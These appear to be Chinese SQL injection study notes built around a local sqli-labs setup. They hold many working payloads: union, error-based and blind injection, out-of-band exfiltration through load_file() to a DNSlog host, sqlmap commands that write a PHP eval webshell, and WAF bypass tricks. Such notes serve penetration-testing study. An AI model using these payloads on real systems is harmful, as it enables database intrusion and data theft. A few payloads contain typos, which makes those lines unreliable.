-
-
SQL注入
1. 定义
- 服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入
2. 产生条件
- 客户端能控制输入的内容
- 服务端未过滤或未严格过滤输入内容
3. 防御
- 使用预编译语句和参数化查询
- 使用存储过程
- 使用ORM工具
- 验证用户****输入
- 使用适当的****错误处理机制
- 权限最小化
4. 注入点
(1). 请求方式
a. GET请求
- 通常显示在url中,注入点通常出现在URL的查询字符串部分
http://example.com/page?id=1' OR '1'='1
b. POST请求
- 通过HTTP请求的****主体传递,注入点通常在请求体中,不会在URL中显示。
POST /login HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=admin'--&password=anything
(2). 注入点类型
a. 整数型
select name,password,uid from users where uid = $id
b. 字符型
select name,password,uid from users where uid = "$id"
c. 搜索型
select name,password,uid from users where name like "%$uname%";
5. 万能密码
(1). 原理
- 使用****构造方式绕过参数的验证
(2). 使用
admin' or 1=1 # admin' or 1=1 --+
6. 注入流程
(1). 判断漏洞
1. 通过注释、闭合单双引号等方法 2. 通过在参数之间使用and、or来对输入进行判断,是否有语句执行 '1 and 1=1 -- qwe //正常显示 '1 and 1=2 -- qwe //错误显示,说明有sql注入漏洞
(2). 获取数据
1. 获取数据库基本信息 2. 获取数据库名 3. 获取表名 4. 获取字段名 5. 获取用户数据
7. 常用函数
(1). 内置函数
内置函数 作用 database() / current_database() / schema() 获取当前数据库名 version() 获取当前数据库版本 user() / current_user() 获取当前数据库用户 @@secure_file_priv 获取数据库上传文件的全局变量值 @@datadir 获取数据库的数据存储路径 @@basedir 获取数据库的安装路径 @@hostname 获取数据库服务器的主机名 @@innodb_version 获取InnoDB存储引擎的版本信息 @@sql_mode 获取当前数据库的SQL模式 @@version_compile_os 获取数据库服务器的操作系统版本 @@global.read_only 检查数据库是否处于只读模式 (2). 内置表
- 创建的每个数据库连接,****默认存在information_schema数据库,该数据库有3张常用表
a.schemata
字段 含义 schemata_name 指定数据库 b. tables
字段 含义 table_schema 指定数据库 table_name 指定表 c. columns
字段 含义 table_schema 指定数据库 table_name 指定表 column_name 指定字段 (3). 常用函数
a. 字符串拼接
①concat()
- 将多个字符串连接为一个字符串
-
-1' union select 1,concat(id,email_id),3 from emails --+
②concat_ws()
- 将多个字符串连接成为一个字符串,****可以指定分隔符
-1' union select 1,concat_ws('__',id,email_id),3 from emails --+
③group_concat()
- 将多行结果连接成一个结果返回,可以指定分隔符
-1' union select 1,group_concat(email_id),3 from emails --+ -1' union select 1,group_concat(email_id separator '~'),3 from emails --+
8. 注入类型
(1). 联合注入
- 使用拼接联合方式将2组或多组关键值拼凑起来进行查询
查询语句1 union 查询语句2 union 查询语句3
a. 条件
- 前后语句的查询****字段数相同
- 前后语句的****数据类型必须一致
- 页面有****回显点
b. 注入流程
①判断注入点
1. 先判断注入点类型 1 and 1=1 -- 123 1 and 1=2 -- 123 => 发生错误,则为整型,否则考虑为字符型 2. 判断闭合方式 1' and 1=2 --+ 1" and 1=2 --+ 1) and 1=2 --+ 1') and 1=2 --+ 1") and 1=2 --+ 1")) and 1=2 --+ 1')) and 1=2 --+ 1")) and 1=2 --+ 1))) and 1=2 --+ ...
②判断字段数
- 结合****二分法使用
order by
判断字段数
1' order by 1 -- 123 1' order by n -- 123 1' or 1=1 order by n -- 123
③判断回显点
1' union select 1,2 -- 123 -1' union select 1,2 -- 123 //使用-1来使union前半语句无查询返回值
④查看数据
- 查看数据库数、数据库名
user() //返回当前使用数据库的用户 version() //返回当前数据库版本 database() //返回当前使用的数据库名 #显示所有数据库的信息并显示数据库名 -1' union select schema_name,2 from information_schema.schemata --+ -1' union select database(),2 --+
- 查看表数、表名
#获取表数 -1' union select count(table_name),2 from information_schema.tables where table_schema = 'liuyanban' --+ ' #获取所有表名 -1' union select table_name,2 from information_schema.tables where table_schema = 'liuyanban' --+
- 查看字段数、字段名
#获取字段数 -1' union select null,count(column_name) from information_schema.columns where table_schema='liuyanban' and table_name='liuyan' --+ ' #选取指定表内所有字段名 -1' union select table_name,column_name from information_schema.columns where table_schema='liuyanban' and table_name='liuyan' --+
- 查看字段内数据
#获取字段内容 -1' union select 1,concat_ws("_",username,password) from admim --+
(2). 报错注入
a. 定义
- 利用数据库的****某些机制,人为的制造出错误条件,使得查询结果能够出现在报错信息中。因此可以想办法构造语句,使得错误信息中可以显示数据库内容
b. 方法
①XPATH
-
extractvalue
extractvalue(arg1,arg2)
**arg1:**XML文档,arg2:XPATH语句,至少接收2个参数
mysql5.1及以上
- 标准payload
1' and extractvalue(1,concat(0x7e,user(),0x7e)) --+ //在报错信息中查询出 1' and extractvalue(1,arg2) --+ arg2= concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)
-
updatexml
updatexml(arg1,arg2,arg3)
arg1为****xml文档,arg2为指定位置xpath的字符串,arg3为String格式的新值
mysql5.1.5及以上版本
-
标准payload
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ '#使用0x7e是为了避免查找出的数据被替换掉 1' and updatexml(1,arg2,1) --+ arg2 = concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)
②主键冲突floor
mysql版本属于[5.1.5,~]
返回****向下取整的整数,只返回arg1的整数部分
mysql5.0及以上版本,<8.0
-
标准payload
1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y) -- qwe 1' and (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) -- qwe
③其他报错注入
-
列名重复name_const()
mysql版本属于 [5.0,5.1)
name_const(name,value),当用来产生一个结果集合时,name_const()促使该列使用给定名称
-
标准payload
1' and (select * from (select name_const(version(),1),name_const(version(),1))a) -- qwe ' #5.7.6只支持使用version()查看版本,其他内置函数均不支持
-
整形溢出exp()
mysql低于5.5.5,5.7.9成功,8.0失败
exp是以e为底的指数函数,由于数字太大会溢出,该函数会在参数大于709时溢出,产生报错
- 标准payload
1' and exp (~(select * from(select version())a)) --+ //只有mysql5.5.29才能正常显示
-
几何函数
mysql版本属于[5.5.49,~]
高版本mysql无法得到数据,目前只有****mysql5.5.29、5.1.60能得到正确输出
geometrycollection()、****multipoint()、polygon()、multipolygon()、linestring()、multilinestring()
- 标准payload
1' and (select multipoint( (select * from (select * from (select * from (select version())a )b )c ) ) ) -- qwe
④json报错
-
版本属于[5.7.8,~]
-
json_type
获取json值的类型,当我们****传入的值不属于json格式则报错
json_type(version())
-
标准payload
1' and json_type(version())%23 --+
-
json_extract
json_extract(json_doc,path[,path])
从json_doc中读取数据,和path的参数匹配,第一个或第二个参数不是json格式就报错
1' and json_extract(user(),'$.a') -- qwe 1' and json_extract(user(),'$.a') # 1' and json_extract('[1,2,3]',user()) -- qwe
-
json_array_append
json_array_append(json_doc,path,val[,path,val]...),
将值****附加到json文档中指定数组的末尾并返回结果,
报错输出原理和json_extract函数相同
1' and json_array_append('[1,2,3]',user(),1) --+ 1' and json_array_append('[1,2,3]',user(),1) -- qwe
c. 注入流程
-
查看数据库版本
1' and extractvalue(1,concat(0x7e,(select version()),0x7e)) --+
-
查看库名
#查看库名 1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
-
查看表数、表名
#查看表数 1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
#查看表名 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
-
查看字段数、字段名
#查看字段数 1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e)) --+
#查看字段名 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e)) --+
-
查看字段内数据
1' and extractvalue(1,concat(0x7e,(select group_concat(concat_ws('___',id,email_id)) from information_schema.columns where table_schema=database() and talbe_name='emails' limit 0,1),0x7e)) --+
(3). 布尔盲注
a. 定义
- 服务器****不会直接返回具体的数据库,只会返回程序开发所设定的特定信息
b. 相关函数
①长度截取
-
substr(arg1,int1,int2),****int1为截取开始位置(从1开始计算),int2为截取长度,其余用法完全一样
- substr()
- substring()
- mid()
- left()
- right()
select substr(database(),1,3)
②length()
- 获取数据库长度
- 使用方法:length(arg1),arg1代表字符串(数据库名)
select length(database())
③ascii()
- 将单一字符,转化为ascii码值
- 使用方法:ascii(str),str代表字符
select ascii('a')
④if()
- 条件判断
- 使用方式:if(exp1,true,false)
select if(length(database())>0,1,0)
⑤count()
- 判断记录数
c. 注入流程
①数据库名长度
1' and (length(database()))=n --+ //n为数据库名长度
②数据库名称
1' and (ascii(substr(database(),n,1))=m) --+ //n为第几个位置,m为ascii码[65,122]
③表名长度
1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=m) --+ //m为表名长度 //获取表的个数 1' and (select count(*) from information_schema.tables where table_schema=database())=m -- qwe //m为表的个数
④表名
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))=m) --+ //n为表名的第几个位置,m为ascii范围[65,122]
⑤字段长度
1' and (length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))=m) --+ //m为字段名长度 //获取字段个数 1' and ((select count(*) from information_schema.columns where table_schema=database() and table_name='表名')=m) --+ //m为表的个数
⑥字段名
1' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),n,1))=m) --+ //n为字段名的位置,m为ascii范围[65,122]
⑦具体数据
select 字段 from 表
(4). 时间盲注
a. 相关函数
①sleep()
- 用法:sleep(arg1),arg1是休眠秒数
select if(1=1,sleep(10),0)
②benchmark()
- 用法:benchmark(arg1,arg2),arg1是执行次数,arg2是执行的表达式
- 延迟时间****只和机器性能有关
select if(1=1,benchmark(5000000,md5('abc')),0)
b. 注入流程
①获取数据库名长度
1' and if((length(database()))>5,sleep(10),0) --+
②获取数据库名称
1' and if(ascii(substr(database(),m,1))=m,sleep(10),0) --+ //65<=m<=122
③获取表名长度
1' and if(exp1,sleep(10),0) --+ exp1= length((select count(table_name)from information_schema.tables where table_schema=database() limit 0,1)) 综上: 1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=m,sleep(10),0) --+ //m为表名长度
//获取表的个数 1' and if(exp1,sleep(10),0) --+ exp1= select count(*) from information_schema.tables where table_schema=database())=m 综上: 1' and if((select count(*) from information_schema.tables where table_schema=database())=4,sleep(10),0) --+ //m为表的个数
④获取表名
1' and if(exp1,sleep(10),0) --+ exp1= ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))=m 综上: 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1))=m,sleep(10),0) --+ //n为表名的第几个位置,m为ascii范围[65,122]
⑤获取字段长度
1' and if(length(),sleep(10),0) --+ exp1= length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))=m 综上: 1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))=2,sleep(10),0) --+ //m为字段名长度 //获取字段个数 1' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='表名')=m,sleep(10),0) --+ //m为表的个数
⑥获取字段名
1' and if(exp1,sleep(10),0) --+ exp1= ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),n,1))=m 综上: 1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),n,1))=m,sleep(10),0) --+ //n为字段名的位置,m为ascii范围[65,122]
⑦获取数据
(5). 数据外带
a. 定义
- 如果SQL注入仅能使用****时间盲注,可以使用OOB(out of band),将sql语句执行的结果以数据的形式外带出来
b. 满足条件
- Windows系统
- mysql的全局变量****secure_file_priv不为null
c. DNSlog平台
网址 介绍 http://dnslog.cn/ 仅支持DNS数据外带 http://eyes.sh/ 支持DNS和HTTP两种数据外带方式 http://ceye.io/ 支持DNS和HTTP两种数据外带方式 Burpsuite Collaborator模块 支持DNS和HTTP两种数据外带方式 d. 外带方式
①DNS数据外带
-
**在极限条件(**内网机器不出网,支持dns出网,隐匿性高,不容易被拦截),61长度限制,不支持敏感符号(@#$%),外带数据需要转码,规避流量监测设备
- 形式
load_file(concat('\\\\',查询内容,'.网址\\abc') or load_file(concat('//',查询内容,'.网址/abc') # /abc指定外部路径
- 实例
#1.获取数据库名 select * from users where id=1 and load_file(concat('\\\\',(select database()),'.Laffrex.eyes.sh/abc')); #2.获取表名 select * from users where id=1 and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.Laffrex.eyes.sh/abc')); #3.获取字段名 select * from users where id=1 and load_file(concat('//',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.Laffrex.eyes.sh/abc')); #4.获取字段数据 select * from users where id>0 and load_file(concat('//',(select group_concat(concat_ws('_',id,username,password) separator '__') from information_schema.columns where table_schema=database() and table_name='users'),'.Laffrex.eyes.sh/abc'));
②SMB数据外带
- 默认支持TCP/UDP出网方式时可用,无长度限制和符号限制,规避流量监测设备
- Centos7上安装SMB服务
1. 安装smb服务 yum install samba -y 2. 修改配置文件 vim /etc/samba/smb.conf 3. 修改samba日志路径 vim /var/log/samba/log.smbd 4. 利用实时查看日志并匹配结果 tail -f /var/log/samba/log.smbd | grep "failed to find service"
- payload
1' and load_file(concat('\\\\192.168.172.130\\',(select user()),'t'))%23 1' and load_file(concat('\\\\192.168.172.130\\',(select group_concat(schema_name) from information_schema.schemata),'t'))%23
③HTTP数据外带
e. 注入流程
①获取数据库名
1' and load_file(concat('\\\\',(select database()),'.Laffrex.eyes.sh\\abc')) --+
②获取表名
1' and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.Laffrex.eyes.sh\\abc')) --+
③获取字段名
1' and load_file(concat('//',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.Laffrex.eyes.sh/abc')) --+
④获取字段数据
- DNS数据外带有字符大小限制
#获取id 1' AND load_file(CONCAT('\\\\',(SELECT group_concat(id separator '__') FROM users),'.Laffrex.eyes.sh/abc')) --+ ' #获取username 1' AND load_file(CONCAT('\\\\',(SELECT SUBSTRING(group_concat(username separator '__'), 1, 60) FROM users),'.Laffrex.eyes.sh/abc1')) --+ '#本次字符最大长度为63 1' AND load_file(CONCAT('\\\\',(SELECT SUBSTRING(group_concat(username separator '__'), 61, 120) FROM users),'.Laffrex.eyes.sh/abc1')) --+ 1' AND load_file(CONCAT('\\\\',(SELECT substring(group_concat(concat_ws('_',id,username,password) separator '__'),1,45) FROM users),'.Laffrex.eyes.sh/abc')) --+ //本次字符最大长度45
(6). 其他类型
a. 宽字节注入
①产生原因
set character_set_client="gbk",通常导致编码转换的注入问题
mysql在使用****GBK编码时,符合条件会认为2个字符是1个汉字
第一个字节****129-254,第二个字节为64-254
②原理
①程序员对****特殊字符(例如单引号)进行正则匹配通过反斜杠\使其失效,无法使用普通注入;
②gbk编码,可以使用ascii>128的字符与****反斜杠\组合成新字符,从而绕过反斜杠转义
③绕过方法
-
黑盒
- 在注入点****后键入%df,再开始正常注入
1%df%' order by 3 -- qwe
-
白盒
- 查看Mysql编码是否为****GBK
- **是否使用了****preg_replace()**进行正则替换
- **是否使用了****addslashes()**进行转义
- **是否使用了****mysql_real_escape_string()**进行转义
④修复建议
- 设置编码
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
- 使用过滤函数
mysql_real_escape_string()/addslashes()
b. HTTP头注入
①污染参数
②产生原因
- 在网页代码中的****ip字段与数据库有交互
- 代码中使用了****超全局变量$_SERVER[]
③修复建议
- 过滤回车换行字符(%0d%0a、%0D%0A)
- 不采用有漏洞版本的apache服务器
- 对参数做****合法性校验以及长度限制,谨慎地根据用户传入的参数设置http返回包的header设置
c. 二次编码注入
①原理
- 使用过滤函数****addslashes()时,特殊符号前的反斜杠转义字符会被urldecode()等函数再一次解码,去掉转义字符,导致转移失败| 用户输入 | php解析 | addslashes()编码 | urldecode()解析 | 最终输入 | 结果 |
| ------------------- | ----------------- | -------------------------- | ------------------------- | --------------------- | -------------------- |
| id=1%27 | id=1' | id=1\'
| (没有该函数) | id=1\'
| 无法注入! |
| id=1%2527 | id=1%27 | id=1%27 | (没有该函数) | id=1%27 | 无法注入! |
| id=1%2527 | id=1%27 | id=1%27 | id=1' | id=1' | 注入成功! |
-1%2527 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() -- +
②相关函数
- urldecode()、rawurldecode()
③url编码字符
符号 对应url编码 空格 %20或%2B(+) 双引号" %22 井号# %23 百分号% %25 和& %26 单引号' %27 左括号( %28 右括号) %29 星号* %2A 加号+ %2B 逗号, %2C 减号- %2D 斜杠/ %2F 反斜杠\ %5C d. Base64注入
- Base64编码是基于64个可打印字符来表示二进制数据的方法,可打印字符包括****A-Z,a-z,0-9,+,/,把不可见字符全部编码为可见字符,大大降低传输时出现错误的可能性
①原理
- 针对传递的参数被base64****加密后的注入点进行注入,常用于绕过一些WAF检测
②注入方法
- 先将原本参数****解密,再结合之前注入手法进行设计
- 语句设计完成后,****重新加密作为参数进行注入
③实例
1.原参数 YWRtaW4n 2.解密后进行语句设计 admin') and updatexml(1,concat(0x7e,database(),0x7e),1) -- qwe ' 3.base64编码后进行注入 YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSAtLSBxd2U=
e. 堆叠注入
①原理
- 将****许多语句通过分号叠加在一起执行
②满足条件
- mysqli_multi_query支持,mysql_query不支持
- **mysql数据库的配置 **
allow_muiti-queries=On
- 使用堆叠注入前,须知道数据库的****表名、列名等
- 可能受到****API或数据库引擎不支持的限制
③实例
#插入数据 1';insert into users(username,password) value('icq','icq') -- qwe
f. 二次注入
①原理
- 已****存储的用户恶意输入被读取后,再次进入到sql查询语句导致服务端SQL语句被恶意修改并成功执行的注入行为
②满足条件
- 网站在对用户输入****恶意数据时进行转义处理
- 恶意数据****插入到数据库时又被还原并存储到数据库中
- 系统****再次调用该恶意数据并执行sql查询时,没有转义数据内特殊字符
③实例
#一个页面,能显示登录后的用户名,这时可以注册不同的payload名的账号,来进行注入 1' and updatexml(1,concat(0x7e,database(),0x7e),1)# 1' order by 5# -1' union select 1,database(),3,4,5# -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#
9. Sqlmap
(1). 使用流程
a. 检测注入点
- sqlmap -u "带参数网址"
b. 查看所有数据库
- sqlmap -u "带参数网址" --dbs
c. 查看当前数据库
- sqlmap -u "带参数网址" --current-db
d. 查看表名
- sqlmap -u "带参数网址" -D [数据库名] --tables
e. 列出所有字段名
- sqlmap -u "带参数网址" -D [数据库名] -T [表名] --columns
f. 列出字段内容
- sqlmap -u "带参数网址" -D [数据库名] -T [表名] -C [列名...] --dump
参数 含义 -a,--all 检索所有内容 --current-user 获取当前用户信息 --tables 获取特定数据库的所有表信息 --columns 获取特定表的所有列信息 --schema 获取数据库的整体架构信息 --dump 导出特定数据库或表的数据,不跟任何表或字段则为导出所有数据库信息 --dump-all 导出整个数据库服务器上的所有数据 -D、-T、-C 分别指定数据库、表、字段 (2). 清除历史记录
a. Windows
- C:\Users\26254\AppData\Local\sqlmap
b. Linux
- /home/test/.sqlmap
- /root/.sqlmap
c. 清除
- python sqlmap.py --purge
- 删除sqlmap的output文件夹
- python sqlmap.py --flush-session
(3). 基本参数
a. --privileges
- 测试注入点权限
sqlmap -u [URL] --privileges #测试所有用户的权限 sqlmap -u [URL] --privileges -U [用户名] #测试指定用户权限
b. --data/-r
-
POST提交方式
- 用法
sqlmap -u [URL] --data "POST参数" #通过POST方式提交参数 sqlmap -u [URL] -r "txt文件" #读取文件中的HTTP数据包内容来测试POST注入和HTTP Header注入
-
注意
- -p可指定参数
- 参数后加 * 可以只测试该参数
c. -v
- 用法
sqlmap -u [URL] -v 3 #指定输出级别为3
数据级别 含义 0 只显示python的回溯、错误和关键信息 1 显示信息和警告信息 2 显示调试信息 3 显示注入使用的攻击载荷 4 显示HTTP请求 5 显示HTTP响应头 6 显示HTTP相应页面的内容 -
注意
默认输出级别为1
d. --level
-
探测等级
- 用法
sqlmap -u [URL] --level 3 #指定测试等级为3
测试等级 含义 1 对GET和POST的数据进行测试 2 会对HTTP cookie进行测试 3 会对HTTP User-Agent/Referer头进行测试 4-5 测试更全面,但更慢 -
注意
- 默认测试等级为1
- 不确定那个Payload或参数为注入点时,建议使用更高的level值
e. --is-dba
-
判断当前用户的管理员权限
- 用法
sqlmap -u [URL] --is-dba #查看是否为数据库管理员账户
-
注意
- 返回的结果代表是否有****写权限,可以在服务器上写入一句话木马
- 是****管理员返回True,否则返回False
f. -b/--banner
- 列出数据库管理系统信息
①用法
sqlmap -u [URL] --banner #返回①数据库系统版本号②最后的补丁级别③底层的操作系统信息
g. -m
-
批量进行注入检测
- 用法
sqlmap -m "filename" #扫描指定文件内的网址
h. --cookie
-
指定cookie
- 用法
sqlmap -u [URL] --cookie="name:value"
-
注意
- sqlmap****不支持--method指定http请求的方法
- 默认不扫cookie的内容,除非level ≥ 2
- cookie内的默认分隔符为****分号;
i.--user-agent/--random-agent
-
指定User-Agent
- 用法
sqlmap -u [URL] --user-agent="..." #指定某一个值 sqlmap -u [URL] --random-agent #sqlmap会从文件./txt/user_agents.txt中随机选取一个User-Agent
-
注意
同一次会话使用同一个User-Agent,而不是每发一次包就换一个
j. --technique
-
指定注入类型
- 用法
sqlmap -u [URL] --technique [类型]
参数 类型 U(Union query-based) 联合查询注入 E(Error-based) 基于报错注入 B(Boolean-based blind) 布尔盲注 T(Time-based blind) 时间盲注 S(Stacked queries) 堆叠查询注入 Q(Inline queries) 内联查询注入 k. --batch
- 默认选项均选择Y
l. --delay
-
限制请求间隔
- 用法
sqlmap -u [URL] --delay [秒数] #提高发包间隔
-
注意
当有警告
target URL content is not stable
时使用(4). 进阶参数
a. --proxy
- 使用****代理连接到目标URL
python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --proxy=http://127.0.0.1:8080
b. --dbms
- 强制指定后端DBMS的值
python sqlmap.py -u "url" --dbms=MYSQL #指定后端数据库时mysql python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbms=mysql --batch
c. --risk
-
指定要执行的测试风险级别(级别1-3,默认为1,)
python sqlmap.py -u "url" --risk [风险级别] python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --risk 2
d. 其他参数
参数 含义 --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问、发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示克用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offine 在离线模式下工作 --purge 安全地从sqlmap数据目录中删除所有内容 (5). 执行sql语句
a. --sql-query
- 直接****执行指定的sql语句
sqlmap -u [url] --sql-query="sql语句" python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-query="select version()"
b. --sql-shell
- 直接获得交互式的SQL命令shell** (用于执行update、delete、drop、alert等语句)
- 执行的语句与注入点的类型有关
- 输入X或者Q退出交互命令行
sqlmap -u [URL] --sql-shell python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
c. --sql-file
- 直接执行sql文件中的语句
sqlmap -u [URL] --sql-file=sql文件 python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-file="D:\NetTools\sqlmap\sql_file.sql" sql_file.sql内容: select version(); select @@datadir; #输出mysql存放数据的路径
(6). 文件操作
a. 防御
- 输入时对****敏感语句过滤
- **my.ini中配置secure_file_priv=**null
b. 读文件
①满足条件
- secure_file_priv不为null
- mysql有对某个****目录读写的权限
- 知道****绝对路径
- 文件****必须在服务器上存在
- max_allowed_packed //读写文件最大的字节数
②--file-read
- **原理:利用****load_file()**函数
sqlmap -u [url] --file-read "文件绝对路径" #读取文件可以是文本、二进制文件 python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-read "D:\phpstudy_pro\WWW\test.txt"
c. 写文件
①满足条件
- 有****写文件权限
- secure-file-priv不为null
- mysql有对某个****目录读写的权限
- 知道绝对路径
- 必须能****绕过单引号过滤
②使用--sql-query、--sql-shell
- 原理:利用mysql的 ****outfile、dumpfile函数
#1. 向文件写入内容 python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select 1,2,'aaa' into outfile 'D:\phpstudy_pro\test5.txt'" --batch #2. 写入webshell python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select '<?php eval($_POST[1]);?>' into outfile 'D:\phpstudy_pro\WWW\shell3.php'"; #可以转化为16进制写入 #3. 获取绝对路径 python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select @@datadir;" #4. 查看secure_file_priv的值 python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --sql-query="select @@secure_file_priv;"
d. 上传文件
①满足条件
- 有****写文件权限
- secure-file-priv不为null
- mysql有对某个****目录读写的权限
- 知道绝对路径
- 必须能****绕过单引号过滤
②--file-write、--file-dest
sqlmap -u [URL] --file-write [源路径的绝对地址] --file-dest [目的路径的绝对地址] python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --file-write "C:\\123.txt" --file-dest "C:\\phpstudy_pro\\www\\test.php"
e. 执行命令
①-os-shell \ --os-cmd
- 原理:利用mysql的****outfile、dumpfile等写文件函数,先上传一个具有上传功能的Webshell,再上传一个具有各种功能的Webshell
sqlmap -u [URL] --os-cmd="whoami" python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd="whoami"
10. Waf绕过
(1). 基本流程
- 身份认证
- 数据包解析
- 规则系统匹配
- 是否拦截
(2). 方法
a. 大小写绕过
- 只针对****小写或大写的关键字匹配技术
- 正则不完善或是没有用大小写转换函数用法
-1' UnIon SelEct 1,2,3
b. 替换关键字
①关键字双写
只验证一次字符串或字符串过滤不完整用法
-1' ununionion seselectlect 1,2,3 '#可以构造更复杂的语句
②同价词替换
针对****特殊关键字进行检测
字符 替换 and && or = <> 空格 %20 (url编码) 空格 %09 (tab键,水平) 空格 %0a (换行符) 空格 %a0 (空格) 空格 %0b (tab键,垂直) 空格 %0c (新的一页) 空格 %0d (return功能) 空格 /**/ ③特殊字符拼接
拼接特殊字符来绕过WAF检测
id=1;exec(master..xp_cmdshell'net user') => id=1;exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
c. 编码绕过
利用浏览器上的****进制转换或者语言编码规则来绕过waf
unicode、HEX、URL、ascii、base64等URL编码
①URL编码
浏览器会对地址栏中,****非保留字的字符进行URL编码
#如果waf拦截了union select (可以尝试多次编码绕过) 1' union select 1,2,3 --+ => 1' %75%6E%69%6F%6E %73%65%6C%65%63%74 1,2,3 --+
②Unicode编码
//如果waf拦截了union select 1' union select 1,2,3 '#替换了i,也可以全部替换 => 1' un%u0069on sel%u0065ct 1,2,3
③16进制
d. 注释绕过
//
--
/* * /
#
--+
-- -
;
--a
/*! */
利用****语言函数特性来绕过waf的规则
①普通注释
使用/* * /在构造的****查询语句中插入注释,规避对空格的依赖或关键字识别
1' union select 1,2,3 => 1' /**/union/**/select 1,2,3 => 1' /**/union/**/select 1,2,database/*%!a*/() '# 使用/*%特殊符号*/的形式绕过对/**/的正则过滤
②内联注释
**/*! */**只有mysql能识别
1. /*! code*/ 内联注释可以用于整个SQL语句中 2. 过滤了union、where、table_name、table_schema、=、and、information_schema等词,可以使用 => /*!%23/*%0a关键词*/ 来绕过 => /*!99999*/
e. 参数污染
- HPP(HTTP Parameter Polution)又称作****重复参数污染,当同一参数出现多次,不同中间件会解析为不同的结果
- 如果WAF****只检测同名参数的第一个或最后一个,并且中间件特性正好取与WAF相反的参数,则可成功绕过
index.php?id=select 1,2,3 from table => index.php?id=select 1&id=2,3 from table
f. 缓冲区溢出
许多WAF使用****C语言写的,而C语言没有缓冲区保护机制,测试向量时超出了其缓冲区长度时,会引发Bug从而绕过
g. 整合绕过
结合使用****前面的各种绕过技术
h. 分块传输绕过
将****传输的内容分块时,处理后的HTTP请求由于和已知的payload相差较大,所以可以起到绕过作用
i. 特殊符号绕过
- 使用****反引号 ` 可以绕过空格和正则,特殊情况下还可以将其作为注释符用
- 使用 -+. ,起到连接字符串的作用
index.php?id=-1.0 union select"1",2,3 index.php?id=-1E0 union select~1,2,3 index.php?id=-1 union select 1,2,version()"from users" index.php?id=-1 union select`id`,1,2 from users" index.php?id=-1 union select 1,2,version()`from users`
①普通括号
index.php?id=(-1)union(select(1),(2),(3)from(users)) index.php?id=(1)or(0x50=0x50) index.php?id=(-1)union((((((select(1),hex(2),hex(3)from(users)))))))
②花括号
index.php?id=-1 union select 1,{x 2},3
③等号
#使用``like``来替代 1' union select 1,2,(select group(table_name) from information_schema.tables where table_schema=database())# => 1' union select 1,2,(select group(table_name) from information_schema.tables where table_schema like database())#
④and和or
#使用关键字双写、关键字替换、内联注释、多行注释来替代
⑤逗号
1' union select 1,2,3 --+ => 1' union select * from (select 1)a join (select 2)b join (select 3)c --+
j. 过滤掉and和or的盲注
index.php?id=strcmp(left((select username from users limit 0,1),1),0x42)# index.php?id=strcmp(left((select+username+from+users+limit+0,1),1)0x42)# #strcmp()函数,两值相等返回0,小于返回-1,大于返回1 #sql语句为: select * from users where id=strcmp(left((select username from users limit 0,1),1),0x42);
